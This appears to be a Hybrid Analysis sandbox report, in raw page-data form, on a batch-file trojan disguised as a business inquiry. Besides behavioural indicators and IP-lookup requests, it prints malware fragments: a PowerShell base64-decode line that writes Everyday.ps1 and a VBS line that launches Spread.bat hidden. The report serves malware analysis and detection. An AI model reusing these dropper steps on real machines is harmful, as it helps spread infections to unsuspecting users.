26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 68:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4b0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious BAT/Agent.SBM trojan Sample 32bdc14b86e8… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 32bdc14b86e8…. Malware family: BAT/Agent.SBM trojan. Threat score 100/100. 2/26 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/32bdc14b86e8ed0f0ca375f34550c97a6ad85de7f8417e6e76f570f8d91422b6","keywords":["Malicious","BAT/Agent.SBM trojan","malware analysis","sandbox report","threat intelligence","32bdc14b86e8ed0f0ca375f34550c97a6ad85de7f8417e6e76f570f8d91422b6"],"about":{"@type":"SoftwareApplication","name":"Inquiry 46250 BSTM A240-TP 316L.bat","applicationCategory":["script","bat"],"identifier":"32bdc14b86e8ed0f0ca375f34550c97a6ad85de7f8417e6e76f570f8d91422b6","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"BAT/Agent.SBM trojan","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":15,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T416,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp")28:T5ab,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "function ConvertFrom-SddlString" (Indicator: "ConvertFrom-SddlString"; Source: "00000000-00004500.00000001.157884.62630000.00000004.mdmp")29:T92a,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\7F88CD7223F3C813818C994614A89C99FA3B5247") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\7F88CD7223F3C813818C994614A89C99FA3B5247") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\8F43288AD272F3103B6FB1428485EA3014C0BCFE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\8F43288AD272F3103B6FB1428485EA3014C0BCFE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\92B46C76E13054E104F230517E6E504D43AB10B5") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\92B46C76E13054E104F230517E6E504D43AB10B5") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\A43489159A520F0D93D032CCAF37E7FE20A8B419") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\A43489159A520F0D93D032CCAF37E7FE20A8B419") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\BE36A4562FB2EE05DBB3D32323ADF445084ED656") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\BE36A4562FB2EE05DBB3D32323ADF445084ED656") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\CDD4EEAE6000AC7F40C3802C171E30148030C072") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\CDD4EEAE6000AC7F40C3802C171E30148030C072") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT")2a:T9d2,"cmd.exe" queried SystemProcessInformation at 00000000-00003104-00000C15-1423001781 [PID: 3104] "cmd.exe" queried SystemProcessInformation at 00000000-00003104-00000C15-1423011126 [PID: 3104] "cmd.exe" queried SystemProcessInformation at 00000000-00003104-00000C15-1423267920 [PID: 3104] "cmd.exe" queried SystemProcessInformation at 00000000-00003104-00000C15-1423277513 [PID: 3104] "cmd.exe" queried SystemProcessInformation at 00000000-00003392-00000C15-1424024061 [PID: 3392] "cmd.exe" queried SystemProcessInformation at 00000000-00003392-00000C15-1424033034 [PID: 3392] "cmd.exe" queried SystemProcessInformation at 00000000-00003392-00000C15-1424322450 [PID: 3392] "cmd.exe" queried SystemProcessInformation at 00000000-00003392-00000C15-1424331193 [PID: 3392] "reg.exe" queried SystemProcessInformation at 00000000-00004092-00000C15-1424896343 [PID: 4092] "reg.exe" queried SystemProcessInformation at 00000000-00004092-00000C15-1424904593 [PID: 4092] "reg.exe" queried SystemProcessInformation at 00000000-00004092-00000C15-1425164616 [PID: 4092] "reg.exe" queried SystemProcessInformation at 00000000-00004092-00000C15-1425172310 [PID: 4092] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1430339970 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1430363757 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1431862269 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1431870941 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1432735169 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1432742833 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1433453204 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1433461191 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1433556645 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1433565333 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1434673898 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1435398541 [PID: 4500] "powershell.exe" queried SystemProcessInformation at 00000000-00004500-00000C15-1435406880 [PID: 4500]2b:T616,file/memory contains long string with (Indicator: "FromBase64String"; File: "Inquiry 46250 BSTM A240-TP 316L.bat") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp") Found reference to API "{ [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])) | Out-File -FilePath "C:\Users\HAPUBWS\AppData\Local\Temp\Everyday.ps1" -Encoding UTF8 } } catch {}" (Indicator: "FromBase64String"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000000.157721.47DA0000.00000004.mdmp, 00000000-00004500.00000000.157721.49640000.00000004.mdmp, 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47DA0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00004500.00000001.157884.47B00000.00000004.mdmp")2c:T705,Contains base64 string in header "MSIE" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "CLR1" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "3705" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "Host" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org" Contains base64 string in header "CLR1" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org" Contains base64 string in header "3705" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org" Contains base64 string in header "Host" in header "GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org" Contains base64 string in header "Keep" in header "GET /xml/64.124.12.162 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive"2d:T68f,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Able to access crypto-related API (String) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to encrypt data Matched sigs: Contains ability to decode base64 data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: The input file contains long Base64 encoded strings Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to decrypt the data Matched sigs: YARA signature match – Encryption algorithm2e:T200d,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003104) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003104) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003392) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003392) "reg.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004092) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004500) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004500) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac1869f97f0000000000000000000051eda16af97f000000000000860200000000000000000000443e47eb76a800002a00000000000000502bbd47860200008feca16af97f0000e0ac1869f97f0000e0ac1869f97f0000000000000000000000000000f97f0000ffffff7fe971000000000000000000000000000000000000d8ce0c69f97f00002a0000000000000069c3c568f97f00003100000000000000fc0300000000000004040000000000001100011000000000e0d1473f8a00000003a39268f97f0000e0d1473f8a00000000000000000000002b00000000000000000000000000000020b0cb68f97f0000b43fca68f97f0000e0ce0c69 (UID: 00000000-00004500) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000da47860200000b8e9f6af97f00000000da47860200000200000086020000380000000000000040000000000000003003da4786020000a8e03c408a0000000100000000000000030000000000000001000000000000000c000000000000002010a5478602000000000000000000000000a54786020000a04014628602000000000000000000007c000000010000000000000000000000000000000000000004000000000000000000000000000000785114628602000004000000000000003800000000000000f0989168f97f00003800000000000000380000000000000020e23c408a000000c00c6532f97f000000000000 (UID: 00000000-00004500) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0b15ff97f00000700000000000000000000000000000001000000000000008004536286020000000000000000000070b45562860200004c989168f97f0000d0c6556286020000b3ce5b32f97f000040b6556286020000004fb15ff97f0000d0b0b15ff97f00000000000000000000000000000000000040b65562860200008004536286020000301153628602000078e23c408a0000004c989168f97f0000010000000000000078e23c408a000000301153628602000040b6556286020000010000000000000002bc5b32f97f0000e0b85562860200005075546286020000feffffff040000007df0b05ff97f000010115362 (UID: 00000000-00004500) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000700000000000000000000000000000001000000000000008004536286020000000000000000000070b45562860200004c989168f97f000050c0556286020000b3ce5b32f97f000050b8556286020000384fb15ff97f0000d0b0b15ff97f00000000000000000000000000000000000050b85562860200008004536286020000301153628602000070e23c408a0000004c989168f97f0000010000000000000070e23c408a000000301153628602000050b8556286020000010000000000000002bc5b32f97f000000000000000000005075546286020000e0b8556204000000feffffffffffffff80045362860200007df0b05ff97f000000000000 (UID: 00000000-00004500) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005572) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005572)2f:T46a,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004500) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00005572) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00005432)30:T662,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")31:T548,Found string "Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd.exe /c """"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\Spread.bat""""", 0, False" (Indicator: "set "; File: "UNTIL.vbs") Found string "set MENTAL=%RANDOM%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set R5X7J=1" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set murder=%CD%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set Name=%RANDOM%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set Found=%RANDOM%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set secret=%CD%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set unusual=%RANDOM%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set PROPOSE=%RANDOM%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set Someone=%TIME:~0,2%%TIME:~3,2%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set Money=%TIME:~0,2%%TIME:~3,2%" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat") Found string "set Distribution=%TEMP%\Everyday.ps1" (Indicator: "set "; File: "Inquiry 46250 BSTM A240-TP 316L.bat")32:T7c3,"explorer.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "")33:Te6f,"cmd.exe" queries volume information of "C:\" at 00000000-00003392-00000C17-1424454435 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004500-00000C17-1434018786 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004500-00000C17-1434615279 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004500-00000C17-1435267266 "powershell.exe" queries volume information of "C:\" at 00000000-00004500-00000C17-1435522930 "powershell.exe" queries volume information of "C:\share" at 00000000-00004500-00000C17-1435524515 "powershell.exe" queries volume information of "C:\share" at 00000000-00004500-00000C17-1435610324 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004500-00000C17-1436394898 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004500-00000C17-1436537067 "powershell.exe" queries volume information of 